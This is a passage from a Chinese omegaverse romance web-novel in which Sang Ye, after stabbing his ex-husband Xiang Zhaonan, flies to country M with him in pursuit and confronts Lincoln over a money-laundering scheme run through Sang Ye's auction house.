张峰状似无意地问:“怎么弄的?这么严重。”就想听一个一手八卦。 没成想,那人却说:“我干的。” 张峰登时睁大了眼睛,不可置信地来回扫视眼前人。 最后哆哆嗦嗦地掏出了手机,颤抖着手按下几个数字。 “先别报警。” 一只手拿走了他的手机,张峰抬头一看,竟然是他们院里有名的医生陆让简,身后还跟着一个穿西装的人。 张峰不解。 陆让简身后那人说:“我是相总的私人助理,这是我的名片。” “他们之间关系……比较复杂,还是等相总苏醒之后自己决定要不要报警吧。麻烦了。” 话说到这里,张峰自然不好擅作主张,把电话揣回了兜里,回到自己的岗位上去。 走到半途,他突然想起什么,猛地回头,正好对上那个捅伤Alpha的人的脸。 医院走廊灯光明亮,张峰看得一清二楚。 是他? 张峰连忙打开手机搜索。 竟然真的是他! 立刻跟Beta朋友分享。 张峰本来晚上不用查房,但他坐了两个小时,总觉得心口有蚂蚁在钻,加上朋友一直问,他也好奇得很。 刚好同事回来休息,他让同事帮他顶一会班,自己则拿着一个写字板,卡了张空白A4纸上去,假装查房就往楼上跑。 手术室的灯还亮着。 毕竟伤到腺体,又如此严重,这手术不做个通宵,都结束不了。 桑也站在手术室门口,眼睛死死盯着手术室的门,神情并不轻松。 张峰莫名脊背一凉,怎么觉得他马上要冲进去补刀呢。 他咳了两声,问:“那边有椅子,怎么不去坐着?”他正寻思桑也就算切除了腺体,也不可能变成Alpha,身体素质更不会好到哪里去,一站就是两个小时,怎么承受得住?目光下移,果然看见桑也垂着的手臂一直颤着。 桑也却没理他。 张峰有些尴尬,站了一会转身离开,转角又遇见陆让简,擦身而过时,余光瞥见他手里拿着药和一杯水。 出于好奇,走出去几步后他又倒回来,听了个墙角。 陆让简说:“后遗症犯了也不早点说一声,要不是我换场来休息,你还要抖多久?” “这是止痛药,你先和着水咽了,我再给你打一针镇定剂。” “记得去楼下窗口交钱。” 张峰一边下楼,一边给朋友发消息。 【稳了。铁定不会复合,你放心。】 相召南昏睡了一天一夜,第三天临近中午,才有了苏醒的迹象。 桑也站在窗边。 大雨过后,窗明几净,天空澄澈。 听见床上的动静,他缓缓转过头来。 相召南睁开眼的第一时间,桑也便开口道:“你睡了三十多个小时。” “因为你迟迟不醒,我错过了和林肯算账的最佳时机。” 语气平淡,仿佛闲话家常。 相召南刚醒来,口干舌燥,双唇惨白,他从床被里抽出右手,凭感觉摸了摸腺体,隔着厚重的纱布,一触即离,但神经元遍布的腺体还是剧烈的收缩了一下,疼得相召南吸了一口凉气。 他下意识忽略了桑也的后一句话,脸上因为疼痛而表现出来的扭曲还没有完全消散,嘴上却已经把自己的窃喜坦白了:“你心疼了?” 白色的病房干干净净,一尘不染,没有探望者送来的时兴果蔬,也没有成堆的人堵在门口想要表示衷心。 只有桑也皱眉:“心疼你?” 一声轻笑,如同轻盈的羽毛挠了下相召南的心口。 “那谁来心疼心疼我啊?” 桑也望向窗外,一只寒雀似乎被什么巨大的声音惊吓住,扑闪着翅膀飞离树枝,渐行渐远,只剩下枝桠还在微微抖动。 羽毛被撸去了柔软的羽枝,只剩下削尖的羽杆,刺啦一声扎进了相召南的心口。 相召南静静看着桑也的侧颜,窗边人将头靠在窗棱上,完美符合美学公式的五官和柔中带刃的轮廓线仿佛被洒上了一层冷色光辉,拒人于千里之外。 喉头滚动,一股铁锈味在口腔中炸开。 偌大的病房,只有两个人心脏跳动的声音。 良久。 “报警吧。” 桑也说:“前天晚上陆医生拦着没让护士报警,今天你醒了,把事情办了。” 哐啷一声,相召南掀开床被,似乎要翻身下床,结果带动左手吊水的架子倒塌,自己腺体更是传来千刀万剐般的痛感。 他弯着腰,痛得脸色发白。 “不报警。” 相召南看上去身负重伤,处于弱势,说出来的三个字却斩钉截铁,不容置疑。 “有纸笔吗?我给你写谅解书,你想怎么打我,捅我,都行。” 说着他似乎真要写,在床头柜翻找起来。 桑也心中一沉。 他说不清自己听到这话是什么样的感受。 从他之前的反应来看。 他该生气。 该愤怒。 可能是这两天打的镇定剂效果还没过,才让他没有尖叫着嘶嚎着把相召南推到墙上质问他何必虚伪地假装无事发生。 但为什么心里五味杂陈,鼻尖微酸,眼眶发涨。 到底是怎么了? 桑也倔强地重复:“报警。” 相召南也寸步不让,“不。” “绝不。我不会再让任何人伤害你,包括我。” 桑也不想跟他进行一些小孩子般无聊的重复,闭了闭眼,感受到滚烫而干涩眼球被眼睑包裹住,终于有了一丝湿润。 他偏头,抹了一下眼角。 回头继续看着相召南:“你满意了吗?” “相召南,你把我也逼成疯子了。” 表面平静,声音却颤抖着。 那个雨夜,那个足以让他进监狱的恶行事件,那个他完全不受控制、像个稚气骄纵的孩子又像个残暴不仁的野兽的爆发。 宣告着他彻底成了和相召南一样的怪物。 相召南狭长眼眸骤然紧缩,缓缓转向桑也。 这绝非他的本意。 相召南迅速眨了眨眼,困惑,怀疑,惊诧,他只是想挽留桑也而已。 可令他头痛的记忆清清楚楚的显示着桑也那时异于常人的表现。 似乎的确如此。 无法接受。 他又一次给桑也带来了痛苦。 相召南艰难地挤出一个笑容:“怎么会呢,桑也,你很正常,那都是正常反应,是我,是我把你逼急了,跟你没有任何关系。” “你别放在心上,这只是点小伤,过两天就能好,等伤口好了,我们就当作什么也没有发生,好吗?不会有任何人知道的。” “不好。” “精神病杀人不犯法,你该担心你自己。” 听见桑也说自己是精神病,相召南心脏抽搐地疼痛,“别这样说自己……杀我也没事,我提前把谅解书写了给你。” 桑也没有说话。 这时的相召南才发现,桑也的双眸和那个夜晚一样,毫无光泽。 他站在那里,就像一只光秃秃的残枝,既无枝桠,也无绿叶,更没有生命延续的希望。 房门被敲响。 一个Alpha医生推门而入。 他手中拿着病例和影像图,一边翻看,一边说:“腺体受伤很严重,虽然手术成功,保住了腺体,但至少两年以内,都没有办法再使用抑制剂,易感期要么硬抗,要么找个契合度高的Omega没日没夜给你释放安抚信息素。” 说完,他翻到最后一页病例,确认没有其他需要交代的遗嘱,才抬起头。 病房内无人应答。 他看着窗边的人,凭感觉估计这应该是个Omega,又说:“到时候你多上心。” 相召南看向桑也。 桑也皱眉。 Alpha医生目光游走在二人诡异的氛围之中,他隐隐感觉到这二人之间的关系似乎并不和谐。 可这个Omega在医院陪了病人这么久。 医生心中嘀咕。 相召南仍是目光炽烈地凝视着桑也。 桑也双手抱臂,冷声:“我没有腺体,爱莫能助。” “相总另请高明。” Alpha医生误以为他所说的没有腺体指的是自己是个Beta,释放不了安抚信息素。 可能是自己说的让Alpha病人找个Omega这话让二人产生了隔阂,自以为善解人意地开解: “没有信息素,那你多陪陪他,心里好受些,总好过一个人硬熬。” “Alpha天生就喜欢多管闲事吗?” 张明是,这个医生也是。 第57章 医生显然一愣, 桑也又说:“陪不了,我今晚的飞机去找林肯。” 张明被他解聘,买机票这些琐碎事只能暂时由他自己亲自处理。 刚才静默那片刻, 他已经下了单。 临近出发时间, 只剩下最后一张头等舱机票, 跳出支付成功的界面, 他才关了手机来应付病房里的事情。 “你找林肯做什么?” 桑也神色中有短暂一瞬的戾气,但转眼又被目光微凝的暗疑取代。 “你不知道?” “……知道什么?”相召南心惊胆战, 以为自己又做了什么错事。 桑也却露出半信半疑探究的神色。 “31号晚上, 成安的拍卖会,我的一幅画拍出了21亿的价格。” 相召南先是笑着脱口而出:“恭喜。” 话音未落, 笑容变得僵涩, 唇角的角度逐渐变得平缓。 他也意识到了问题。 “跟林肯有关?”相召南凝息,暗自揣测可能的原因。 桑也之前怀疑相召南和林肯暗度陈仓, 一个借此机会对他穷追不舍, 一个靠着他和相召南的娱乐热度“合情合理”地把油画拍出天价。 但相召南的反应做不了假。 加上那天晚上从张明口中得知,他告知相召南桑也的行程不是受林肯指示,假设的关键环节出了差错, 假设自然不再成立。 他真的误会相召南了? 桑也垂下眼眸。 心脏突突地跳。 他突然转变了话题:“幽阿是你?” 幽阿是他油画的忠实爱好者,几乎每一幅从成安售出的油画都被这个人拍下收藏了起来。 但两天前的买主并不是他。 幽阿缺席了。 桑也盯着相召南, 想从他脸上的每一个细节窥探得到正确答案。 然而只听见相召南问:“谁?” 先是有些讶异, 似乎初次听见这个名字, 随后眉头微皱, 表现出不满, “又是你哪个追求者?”话语中隐约还有些醋意。 桑也注视他许久,的确没有从那张脸上发现一丝破绽,最后才放弃。 最好不是。 “既然你不报警, 那我也没有留在这里的必要了。”说完转身就离开了病房。 相召南当然不肯他就这样走了,想要追赶,结果动作一大,牵扯到后颈的腺体伤口,痛得他直不起腰,一手扶着床沿,一手反绕按着伤口。 “怎么回事?”陆让简的声音出现在门口,他放下手中的病例,快步进来把相召南扶到床上,重新插上被暴力扯出来的吊针。 相召南不语。 陆让简对他也没什么好态度,帮他调了点滴速度后,扫视病房一圈。 “桑也呢?刚李医生回来说他在这里。” 相召南抬眸看了一眼陆让简,原来是找桑也的。 “走了。”相召南声音有些闷,不知时不时病房上的软枕太高,令他的躺姿挤压了胸腔。 “你找他做什么?” 陆让简看了他几秒,才说:“他的后遗症,我昨晚上突然有了新思路。听说他和他大哥创了家生物科技公司,想和他谈谈能不能研制专门药物。” “S市专研生物科技的公司不在少数。” 言下之意是你就非得找桑也吗? 陆让简:“剜除腺体的人少之又少,虽然感知错位是常见的腺体疾病,但出现下雨天腺体疼痛同时还有感知错位症状的,我所知道的——” “就他一个。” “他家不做,哪家公司会做?纯粹亏钱的买卖。” “我做。” 相召南突然说。 陆让简说完,本抬腿就想离开病房,结果听见相召南的话,硬是顿住了脚步。 似乎是怕他不信,相召南补充道:“我有新桑的原始股份和投资,这个……药物,我追加投资研制,你直接联系新桑科技的研发部负责人,去交涉具体内容。” 陆让简沉默了一会,“行。” 面上不显,心里却不满得很。当初你有这么关心,也不会闹到不得不剜除腺体、堕胎的地步。 “我什么时候能出院?” “早。一般人少说半个月,你……至少也得一周。” 因为没有伤到骨头,不存在下不了地的问题,腺体情况稳定之后就可以出院居家养伤。 本来以为这个回答已经够快了,没想到相召南还嫌不够。 “今天不行么?” 陆让简:? “他去M国。”相召南揉了揉眉心,“林肯不好对付。” “办不了出院手续。”陆让简丢下这句话,拿起方才放置在床尾的病例,离开了病房。 相召南深深呼吸了几下,感觉胸口还是有一股浊气难以排出。 拍卖行,地下钱庄,国际贸易,都是洗钱的高发领域。 桑也不是会主动参与违法事情的人,但也避免不了被心怀不轨的人隐瞒着当了帮手。 他要去找林肯算账,估计就是这回事。 相召南按了按腺体伤口,啧了一声。 好这么慢。 …… 因为出了相召南受伤的岔子,桑也没有再查清楚情况的第一时间飞往M国,只能先交代信得过的负责人暂时不要交付。 本来桑守安想先代替桑也前往M国把情况压着,结果临时接到C国另外几家生物科技巨头的邀约,想和他谈谈,迫不得已飞往了G市。 事情便拖到了今天。 机票晚上八点出发。 桑也身上的衣服还是年会上那一身,淋雨后到医院用吹风机吹干,勉强又穿了一天。 刚好有时间,他先回海风府洗澡换了身衣服。 又给自动喂食器加了些狗粮,摸着老大的下巴:“我联系阿姨了,她今晚就回来,回来就有人陪你了。” 老大似乎从这话听出了桑也又要出门的意思,不满地吠叫几声,在桑也身边和门口反复跑。 “走了,少吃点,记得喝水。” 老大见没能让桑也留下来,不高兴地一转身,又粗又长的尾巴一甩,砸到桑也小腿上,抽得他倒吸一口凉气。 扭着屁股就跑了。 到机场时离检票还有两个小时,桑也到VIP候机室打开了电脑办公。 M国的法律规定了不合法的合同视作无效合同,但问题在于,怎么才能在林肯那笔黑钱事发前证明这场交易不合法。 虽然林肯急着想要把钱洗出来,可实际上,以他的地位,以圣劳伦斯错综复杂的关系,能不能查到他头上还不好说。 林肯在整个M国都是排得上号的巨头,他的关系网和庇护网不是桑也能轻易挑战的。 候机室明亮的灯光有些晃眼,照得桑也两眼干涩发酸。 林肯都那样有本事了,还要为了一点可能性,把桑也拖下水,以确保他儿子的“名声”万无一失。 其实…… 桑也也有这样全心全意对他的亲人。 两个在多年前撒手人寰,一个因为他的任性和莽撞也溘然长逝,最后只剩下大哥和他茕茕孑立,在这个孤独的世界携手相伴。 桑也仰了仰头,眼睛被顶灯眩得一片空白。 砰—— 候机室的大门从外面被人粗鲁地打开,随即立马合上。 桑也心有不悦,转头看去。 相召南狼狈地靠着大门,捂着自己的腺体,包裹着腺体的纱布被鲜血渗透,散发出难闻的腥气。 他面容憔悴,和上午桑也离开医院时的精神状态大相径庭。 “桑也……”相召南用充满欲望的长眸盯着桑也,像一头极饿的山林猛兽发现了足以饱餐一顿的食物。 然而他的语气并不像他的神情那本具有攻击性,反而低哑无力,似乎还透着一丝可怜。 桑也感知不到信息素,但从相召南的情况能够料想到是易感期提前了。 “易感期还在外面招摇?”桑也咬着牙,“万一引起哪个Omega情热期提前,你付不起责任。” “哦忘了,你现在离异,硬要负责倒也可以。”桑也正了正大衣领口,“说不定正合你意。” “不、不会有其他Omega。”相召南跌跌撞撞朝桑也走来,桑也见状连忙把腿上的电脑放在桌上,站起身来,想要闪避。 结果闪避不及,硬生生被相召南圈进怀里。 桑也猛地推了他两下。 却听见相召南“嘶”了一声。 桑也立马皱眉:“别在我这卖惨。” 突然,他像是想到了什么好笑的事情,弯唇道:“欲擒故纵对你没用,卖惨,对我没用。” 说着,推着相召南的脖子把他埋在自己肩膀上的脸抬起来,用纤长白皙的手拍了拍。 相召南不停呢喃桑也名字的声音瞬间哑住。 “没有卖惨……” 说完又继续强行把头埋进桑也后颈,像一只狗,把他的头发拱得凌乱不堪。 桑也轻声道:“我也没有欲擒故纵。” 迟来三年的回答。 相召南胸腔瞬间剧烈震动起来,连带着桑也浑身都在抖动。 桑也冷静地看着他抬起头来,薄唇紧紧抿着,圈住自己的胳膊肌肉紧绷,浑身上下仿佛被一种无形的力量束缚着,牵扯着。 “我……” 相召南张了张嘴,却说不出一句为自己推脱的话。 一股浓重的血腥味从相召南后颈处传来。 相召南浑身绷紧的肌肉瞬间卸了力,他的头重重落在桑也肩上,因为身高有差,他不得不稍稍弯腰,这使得他后颈的伤口再一次受牵拉出血。 相召南喃喃:“给一点吧,施舍一点吧,就一点,就当可怜可怜我……” 没人知道他说的是信息素还是什么别的。 桑也抬手,顺着相召南的微微弯曲颤抖的脊背,找到他缠绕着层层叠叠纱布的腺体。 已经被他伤害过一次,还敢把腺体暴露在他面前。 桑也强压住重蹈覆辙的兽性。 “我给不了。” 声音仿佛从遥远的过去传来,空荡而飘渺。 第58章 贴得太近了, 以至于桑也能够明显感受到相召南一瞬间的僵滞,和僵滞过后不动声色收拢双臂把他圈得更紧的所有心思。 他高大的身躯缩在桑也身前,身上还带着医院消毒水的气息, 混着血腥味, 令他的存在更加突兀和难以忽视。 像一条流浪已久、浑身伤口的大狗, 跌跌撞撞找到了唯一愿意蹲下身来分享热气腾腾肉包子的行人。 桑也没有腺体, 释放不了安抚信息素,即使相召南埋在他后颈吮吸再久, 也得不到什么抚慰。 这一点也无法改变。 但他为什么一脸餍足? 他也点燃火柴看见了温暖的餐厅吗。 桑也心绪复杂, 像极了打翻的料理台,辛酸苦辣, 五味杂陈, 百感交集。 他不该可怜相召南的。 就像他说的卖惨对他没用那样,狠心把相召南驱逐出去, 才是他合理的所作所为。 可是, 心要是控制得住,世上就不会有这么多怨偶了。 就当是看在他可怜兮兮的份上。 就当是看在他无家可回的份上。 就当是日行一善。 候机室内金色的挂钟指针滴滴答答走着,分钟绕了个半圆, 桑也才推开相召南。 “到时间了,我要检票。” 相召南似乎十分不舍桑也胸怀的温度, 细长眸渴求地看着桑也。 “我和你一起去。” “你去什么。”桑也蹙眉。 且不说相召南腺体的伤和突然而至的易感期, 单就从售空的头等舱机票来看, 也没他的事。 想送桑也?那更是矫情。 没成想却听见相召南说:“我也订了票。” 看见桑也眼中的质疑, 他解释:“我买票的时候头等舱, 经济舱,都没了。但是我找到一个和你同一航班的人,买了他的票。” 意思是花钱让人改签, 自己捡空出来的座位。 还执拗地拿出手机,找到自己的购买记录,非要桑也看。 “只不过是经济舱,坐不到你旁边。” 他语气里似乎很惆怅。 也对,他都进候机室了。 桑也没问他如何知道自己买的哪个航班,就像他没问为什么张明被他辞退相召南还能知晓他的行程。 上了系统的事情,相召南想查,随时就能查到。 这时桑也品出了些私人飞机的必要性。 但很快又摇头,没必要。 一来桑家元气大伤还未完全恢复,二来从S市到圣劳伦斯的距离几乎是当前市面上在售私人飞机的最大航程,万一出点意外,就真意外了。 桑也眼神暗了暗。 如果相召南怀着和他一样的想法。 那是不是意味着这三年他乘坐了无数次往返S市和圣劳伦斯的航班。 念头一动,桑也不由自主伸手在相召南手机屏幕上划了一下,一连串的购买记录像电玩城游戏机吐出兑奖票一样源源不断呈现在桑也眼前。 桑也浑身一沉。 心里却没有游戏胜利的欢欣。 相召南注意到他的动作,猜到他会看见什么。 指骨动了动,最后阻滞地收回了手机。 出候机室时,等在门口的陈助递上登机牌和抑制项圈,相召南拿上机票跟在桑也身后亦步亦趋。 桑也先登机,调整好座位后便找空乘要了一条毛毯,准备小睡一会。 航程十多个小时,等落地,已经是圣劳伦斯的早上,没有时间去休息,只能抓住这点时间。 没多时,桑也被空乘叫醒。 穿着A字裙的Beta空乘半蹲在桑也座位边上,轻声说:“桑先生,经济舱有位先生写了这个让我转递给您。” 桑也接过来一看,发现是飞机上的纸质垃圾袋,上面被人用钢笔书写了龙飞凤舞的文字。 大致意思是,圣劳伦斯上一届的州长正在准备下一届竞选,有意向连任,打击非法财产是他上一次选举时的口号,这次应当也不会例外。 桑也自然知道。 但事情没那么简单。 州长想要把事情执行下去,也得看下面的人给不给他立功的机会,要这么容易,这三年也不会铩羽而归了。 他揉了揉额角,把垃圾袋丢到边上。 十分钟后,空乘又递来了一个垃圾袋,上面仍旧是相召南的字迹。 【想你。想得腺体疼。】 桑也皱着眉把垃圾袋撕成条,让空乘递还给相召南。 结果每两分钟,空乘又来了。 “先生,这……要是他对您构成骚扰的话,我帮你回拒他?” 桑也默了默,还是伸手接过了第三个垃圾袋。 上面只有三个字: 【难受。】 和边角一只吐着舌头趴在地上的大狗,背景板是一个挂着WC牌子的门。 看得出相召南画技一般,笔触混乱,也就桑也能看出他画的是什么了。 心烦意乱。 桑也解开安全扣站起来,正想转身去,先顿了顿,跟空乘说:“他再找你们要垃圾袋,别给了。” 空乘似乎有些为难,公司规定这些东西乘客要他们就得给。 桑也说:“他不敢投诉。” 空乘这才点头。 虽然另一个男人坐在经济舱,但他们后台的信息显示那位相先生根本不是什么普通人,这也是空乘不敢直接答应桑也的原因。 但桑也都说他不会投诉了,加上二人这多少有点东西的私人关系,空乘还是点头了。 相召南显然听见了桑也和空乘的对话,也看见桑也站起身来。 在桑也转身时,他也站起来,朝着洗手间走去。 等桑也站在洗手间门口时,相召南已经在里面等着了。 桑也刚一站定,左右环视,就被相召南突然打开门拽进了洗手间。 他不满地啧了一声,心想这要是被人看见岂不是要误会他俩饥渴到在飞机上都要来一发。 洗手间空间狭窄,衬得相召南将桑也揽在怀里的动作合情合理。 相召南嘴里不知道呢喃了句什么,随后摘了自己的抑制项圈,跟嗑了似的把头埋进桑也后颈处,用力嗅闻。 “……让我靠一下,别离开我。” 冰凉的薄唇贴在后颈处。 桑也揪着相召南的头发把他的头拽开,不明白他为什么对一个释放不了信息素的部位情有独钟。 “你就是变成狗也闻不到一点味,到底想做什么。” “那我就是你的狗。”说完又把头埋了下去。 桑也一时哑火。 他说的话重点在这里吗? 跟易感期的Alpha说不明白话。 在婚姻关系尚未断裂的那三年里,相召南从未表现出易感期症状。 一般而言,越强劲的Alpha受易感期影响越弱,打一针抑制剂,或者让自己的Omega释放点安抚信息素,便可以平安度过半年一次的易感期。 之前曾经听人说过,如果自家Alpha不听话,就在对方易感期的时候故意不给他安抚信息素,用来惩罚对方。 但彼时的桑也从未起过同样的想法。 他自己罹患病症,知晓那种滋味并不好受。即使易感期对Alpha的折磨远不如信息素依赖症。 还有更为重要的一点是,他依赖相召南,但相召南并不一定依赖他,只要他愿意,多的是人蜂拥而至,桑也赌不起。 相召南若非腺体受了伤,也不会表现出现在这样的状态。 甚至是声音都带着点委屈。 十五分钟后,洗手间的门被人敲响。 “先生,您好了吗?后面还有人等着用洗手间。” 是一位空乘在询问。 “搞快点啊,进了半天了在干嘛。”这是等着上厕所的乘客在责怪。 桑也和相召南二人都浑身一僵。 桑也率先反应过来,把相召南从自己身上剥开,见相召南还沉浸在余韵中,踹了他小腿一脚,“把项圈带上。” 抑制项圈一般只做辅助使用,挂在脖子上收集外溢的信息素,但相召南腺体受了重伤,打不了抑制剂,只能把项圈的功能调到最大,免得强悍的Alpha信息素伤到别人。 等相召南慢悠悠带好项圈,桑也的手扣在开关上,突然愣住。 他们两个人一起出去…… 但只出去一个人也不行啊。 桑也一时头疼,又踹了相召南一脚。 “你干的好事。” 相召南只低头,不说话。被桑也冷冰冰的眼神盯了十几秒钟,才主动去打开洗手间门。 外面的乘客看见里面有两个人,顿时露出震惊的神情,随后立马变成厌恶和嫌弃。 “要搞回家搞,别糟蹋公共场所啊,什么素质。” 相召南绕前一步,站在桑也面前,一手拉着桑也的手腕,一手提了提自己的项圈。 对那人说:“不好意思,易感期,临时有点事要跑M国,才出此下策,但我们绝没有做什么不合时宜的事情。里面信息素已经处理干净了,你放心用。” 那名乘客显然也是Alpha,听相召南这样说,脸色柔和了许多,等他进到洗手间,发现的确没有什么信息素的味道,四周环境也没有乱搞的迹象,才嘀嘀咕咕地关上门:“行吧。” 桑也冷眼看着两个Alpha之间的你来我往。 等门一关上,他立马从相召南手中抽出手腕,二话不说大步流星朝着自己的座位走回去。 这一整个航程,相召南一共画了四只狗,让桑也陪他去洗手间四次。 飞机落地后,相召南还跟在桑也身后。 出了机场,桑也打好车,自己坐了上去,没等相召南上车,就把车门关上。 相召南拉了拉车门,可惜桑也手快锁了门,他只好转到司机的窗边,剑眉微微蹙起,细长眼眸被他压出弯弧,神色和他画的狗如出一辙。 “桑也……” 他话音未落,就听见桑也说:“少得寸进尺。” “别说长得像狗,你就是变成狗也不会让你上车。” “自己去医院处理腺体,遗体回国十万起步。”桑也说完,看向司机,“成安拍卖行总部。” 第59章 寒冬的清晨, 薄雾未散,窗户上一片朦胧。桑也坐在窗边的办公桌前,右手捏着钢笔, 一下一下敲击桌面。 成安的执行总裁在桑也面前跟只鹌鹑似的, 一句话都不敢说。 “你走吧。”桑也无可奈何地搁置下钢笔, “追偿方案事情解决后会发给你。” 那人是个高大的Alpha, 闻言不可置信地瞪着桑也,“你挖我过来的时候可不是这个态度。” “对。我重金挖你过来, 给林肯办事。既然你听林肯的话, 那就去找他领薪资。” 桑也冷哼一声。 林肯在M国的地位卓然,想昧着良心帮人办事借此机会搭上林肯的线, 那就得承担事发的后果。 Alpha愤懑地咬牙, 呸了一声,“连Beta都算不上的残废, 靠着林肯步步高升, 用完人就翻脸不认人,一点小事也争个不可开交,呵, 也就是Omega才会有如此小的肚量了。” 桑也气笑了,站起身来。 旁边管财务的Omega部长, 一脚踹了过去, 把人推到墙上, 破口大骂。 “Alpha了不起啊?Alpha就高人一等吗, 要不是你借着Alpha身份的优势读了圣大的金融, 拿着Alpha导师的推荐信,当初又装得人模人样骗了老大,你以为就你能进我们成安吗?” “你们Alpha不过是一丘之貉!我呸!” Omega话还没说完就被身边另外两个人拉住, Alpha想反击,做出了抬手要打人的姿势,好在被另一个Alpha职员压制住,才免了一场乱斗。 桑也爱用年轻人,所以这一屋子的高层,几乎没有年龄超过三十五岁的。 空气中弥漫着争锋相对的紧张和压抑。一阵脚步声打破了静寂,皮鞋与冰冷地板的交踏声沉稳有力,不急不徐,清晰可闻。 对几个义愤填膺的高层来说,仿佛镇定剂,无形中他们浮躁焦灼的内心平息了许多,而对于众目睽睽之下当众叛变的极端Alpha,或许更像催命曲。 Alpha咽了咽口水,被突然朝着自己走来的董事长浑身气势吓得一哆嗦。 最后一声脚步声,桑也站定在Alpha面前。 “我也很好奇,这一整个屋子里,Beta和Omega占了多数,Alpha屈指可数,你到底哪来的优越感觉得高人一等?” 桑也嗤笑一声,上下打量他,这令对面的人脸色更难看了些。 先前动手的Omega部长见桑也认同自己的观点,从同事手中挣脱出来,理了理衣领和袖口,双手抱臂:“当然是Alpha天生强壮的四肢抢占了他大脑的营养让他产生了白日梦一样的幻想啦。” 桑也垂眸笑了一下。 “是什么让你觉得我能把手下的公司做起来,全靠林肯?你贫瘠的思想,落后的观念,还是自以为是的集体感?” “就是!”Omega部长简直是桑也的超级粉丝,“虽说林肯在早期的确帮了咱们一些,但那点人情早就被他对我们的利用抵消了好吧。” “后面咱们能一路顺风顺水,明明是老大没日没夜加班、出差、谈商务的结果,到你嘴里就变成林肯的功劳了,一手移花接木玩得真是厉害。” 其他人也低声附和。 Alpha一时孤立无援,面色铁青。“你们都是多年的好同事,我当然敌不过你们的情谊。” “不占理就开始耍浑,我懂你。”Omega部长微笑着阴阳了一句。 桑也低声笑了一下,突然有人敲门。 众人都扭头望去。 “进。” “桑董……林肯先生来了。” Omega部长咬牙,小声说了一句他还敢来,Alpha则顿时神气了起来,理了下自己被抓皱的衣服。 “你们先出去。” 几个高层陆陆续续离场,走到最后的Omega部长狠狠瞪了Aloha一眼:“别得意,绝对要你吃不了兜着走。” “你们Omega就喜欢给他当狗。”Alpha嘲讽。 “我乐意,你管我?” 二人夹枪带棒的对话声慢慢消散。 桑也坐回办公桌前。 两分钟后,林肯才进来。 他身着黑色毛呢西装,剪裁得体,头发向后梳起,让年近五十的他精神了几分,手中杵着一根黑色手杖,显露出绅士气息。 桑也不说话,他也不开口。 一坐一立,硬是僵持了五分钟。 最后是林肯含笑开口: “孩子,没必要跟我闹这么僵,以后还要在M国抬头不见低头见,各自退一步,相安无事,不是两全其美?” 桑也皱眉:“别叫这么恶心。” 林肯脸上假笑一僵。 他年纪大了,多年前又因为痛失爱子衰老了十多岁,两相叠加,让他布满沟壑的面容比常人更为沧桑。 此时假笑挂不住,便直接拉下了脸。 和气的警告不起作用,就只能直白地撕破表面平静。 “既然大家都各有图谋,我们有什么不同?你又何必装出一副清高模样,跟你三年前不肯拜史密斯为师一样。”林肯板着脸说教,最后嗤笑了一声,“但你最后不还是接受了?” 桑也翘起腿,整个上半身往椅背一靠,上位者的气息浑然天成。 “所以当初你给机会让我‘利用’你,就是为了现在理直气壮地说出这句各有图谋。”桑也冷笑,眼里寒光闪烁,“可惜,我们从来都不一样。” “我承认,最初我的确居心不净,怀着利用你的心思,但你敢说那一切的走向不是你故意所为?” 林肯主动示好,主动帮他解决了柴柯斯的问题,主动把自己作为父亲的无助摆在二人面前,让桑也误以为他值得信赖。 林肯眼尾褶皱很深,闻言他眼神闪烁了两下,但在被牵扯而动的皱纹之下格外明显。 印证了自己的猜想,桑也却没有从中汲取到力量,反而有些骤然的失力。 “后来,我诚心诚意把你当长辈看待,你要我帮你谈的生意,跑的商务,出席的会议,我哪个没有答应?” “但你。”桑也的声音陡然抬高。 又迅速回落。 “自始自终,都怀着利用我的想法。” “从三年前圣劳伦斯山上的那场赌注开始,我就在你的算计之中,对吗?” 林肯帮他,不是因为可怜他被柴柯斯刁难,而是知道了成安拍卖行! 从那时起,他便处于林肯为自己儿子谋清白的深算之中。 “我是利用你不假,但你也别把自己说得多么无辜。” 林肯敲了一下手杖。 “这三年来的宣传营销,难道你没有得利?” 清鸣在桑也耳边盘桓。 他不无辜? 桑也心中勃然,站起身来,凌然看向林肯。 “张明跟了我三年,对我的爱好了如指掌,让他订餐厅,订酒店,从来万无一失。我在各个公司跑,他也跟着我满M国跑,连我回国,他也表示愿意一直跟着我做事。” 林肯皱起眉,不明白这和他们二人之间的事情有什么关系。 “可结果呢?在三年前他就站在了和相召南一边,我的对立面!我自认待他不薄,他却骗了我三年,瞒了我三年,背叛了我三年。如果不是被我发现,是不是还要若无其事地骗我一辈子?” 桑也说着,整个躯体都颤抖起来,仿佛将要气得晕厥。 但他强压着不甘,深呼吸调整了下,继续道:“三年的时间,我对你的态度,从可以借助的商人,转变为可以信赖的长辈,而你,对我的利用却从始至终毫未动摇,甚至还要反过来咬我一口说我们各有图谋。” “可是后来,我图什么了。” 一滴滚珠般的泪从桑也右眼角垂直滑下来,挂在下颌处。 桑也抬手,毫不犹豫抹去它。 他只图真心。 可这世界桩桩件件都让他觉得付出真心就完了! 他无力地跌坐回办公椅上。 双目失神,不像方才控诉般明亮。 “我要是真的铁石心肠,就不会在半年前你第一次在拍卖中动手脚时和你吵架,也不会在吵架之后踩着红线睁一只眼闭一只眼,你知道我有多煎熬?甚至因此,为了逃避,选择了回到C国。” “可你还是没有放过我。” 桑也摇头,碎发飘摇,“也是,林肯先生布局了三年,怎么会因为一个无足轻重者的一时难过就放弃呢。” “至于我在网上的热度,呵,”桑也抽了下嘴角,“难道不是因为你要顺理成章把钱洗了不得已的策略么,你以为强行安在我头上就能把你自己摘出去吗。” 林肯沉默许久。 不知道他心中想了什么,又做出什么样的评价。 良久,林肯握紧了手杖,娓娓道:“无所图谋?我林肯在M国也算是叫得上名号的人物,只是把我当长辈,这话你听来不可笑吗?” 桑也蓦然笑了。 林肯又给他上了一课。 任何人都被利益连接起来,所有人围着利益转,除了血脉,世上好像就不会再有任何纯粹的信任了。 甚至连虚无的Alpha集体利益,也能让一个看似忠心耿耿的人叛主整整三年! 他都想直接承认,对,他就是一肚子坏水,就是满腔算计,就是装的天真无邪骗人骗得团团转。 然而这时,办公室门突然被破开,相召南带着愠怒出现在门口。 桑也拧眉,相召南全然不顾,反手带上门,跨步站在桑也身边。 “如果所有人都事事有所企图,那这个世界就真的完了。”相召南后颈的纱布并没有更换,上面的血渍已经变成深红色,显得他有些憔悴,但他说话的神色又丝毫不见疲怠与狼狈,“林肯先生诸事算计,自然不明白真心为何物。” 桑也赫然转头看向突然闯进来的相召南。 却见他目不斜视看着林肯,视线交汇之际,似有无形的刀光剑影闪过。 